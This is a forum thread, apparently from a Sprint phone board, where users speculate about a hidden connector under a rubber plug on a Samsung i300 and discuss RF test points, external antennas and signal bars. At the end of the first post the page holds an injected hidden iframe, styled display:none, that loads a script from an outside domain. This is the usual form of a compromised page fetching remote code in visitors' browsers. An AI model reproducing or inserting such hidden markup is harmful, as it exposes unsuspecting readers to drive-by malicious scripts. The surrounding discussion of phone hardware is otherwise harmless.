Have any of you pulled off the little rubber plug just above the power button? Well Jake and I were chatting tonight and he mentioned it. So we pulled it off and theres actually some kind of
connector or button there.....I've never seen anything like it.
Jake thoguht it might be some kind of external antenna connector. My guess is that is some phone diagnostic pin for Sprint. Anyone know for sure??<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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thats what jake was saying but ive read numerous discussions where people swear up and down that is really really difficult to improve reception via antenna on a digital phone. would it be for in analog mode?
i would be careful with this thing.. i believe its a RF connector for hooking up test equipment. it can do serious harm to your phone if you mess up the conector, as its very fragile..
That rubber cap leads to a test point in the antenna circuit - probably for use in test rigs in the Sprint stores (and for final calibration). I ran it to my spectrum analyzer and voila! (for you RF freaks, you're right - the antenna radiates, but amplitude WITH wire was much higher than WITHOUT).
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The older I get, the better I was...
Ok,
Assuming that mystery port is just for testing, what do those external antenneas hook up to that are advertised for the I300? (from the discussion link mjorange posted)
I just looked at my samsung-3500 and didnt see a test port on that. I would have thought they made some generic connector that plugs into the data/power port on the bottom of the phones. Just speculation...
That $15 antenna kit might be an improvement - and it might go the other way. It'll be very difficult to tell. Here are a few facts to chew on...
If a 1900MHz phone is moved only an inch, the signal level can change dramatically.
CDMA thrives on "multipath," which is what happens when the phone gets one signal direct from the transmit antenna, and another one that's reflected from a building, etc., and is slightly different in time (phase) when it arrives. That's why these phones work well even when apparently blocked by metal, as on your waist while sitting in a car.
The i300 employs a very well designed antenna+RF section, perfectly matched. That's the antenna plus the Qualcomm radio frequency circuitry (after that it's all digital). That "front end" is so close to perfect that it would be extremely difficult to improve on.
Using an external antenna in parallel with the built-in antenna should create an unexpected load on the output circuit "Load" isn't a bad thing - it's the "match" between circuit and antenna that defines efficiency. However, the WRONG load can indeed be a bad thing.
The "bars" on the phone are just indicators for the user. They're technically meaningless - two phones a few inches apart can show different amplitudes, or the same amplitude despite different signal levels.
Regarding antenna performance, it takes some serious test equipment to get numbers, and I don't put much faith in anecdotes unless there are statistics provided. On the other hand, if there's a specific location where Sprintphones *always* crash, and some external antenna *never* does - let me know (I-805 at Children's Hospital, in San Diego). If the external antenna "works," it'll be because it's in a different location, is higher, or is not shielded by the car's metal. If it doesn't, it'll be because of the poor match with the RF front end of the i300.
And what about those sticker antenna boosters? That idea was one of the most brilliant marketing ideas of all time! Millions are being made from that, but from a technical viewpoint they're useless.
Henry
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The older I get, the better I was...
that antenna was designed to work in the car, as im sure you folks know. the antenna seems to be "tuned" to a specific wavelength so it shuld block out unwanted noise. for 15 bucks, why not try it... if you do, just be careful... you can mess up the connector and it could cause more problems than help..
Thats just a plug to cover a screw-hole. i plan to crack my phone
open tomorrow if i can get the right torx screwdriver. im still not buying the whole "external antenna" thing. i think its more along the diagnostic/test line. but it could be, i think my 8500 might have had the same thing.....
-paul
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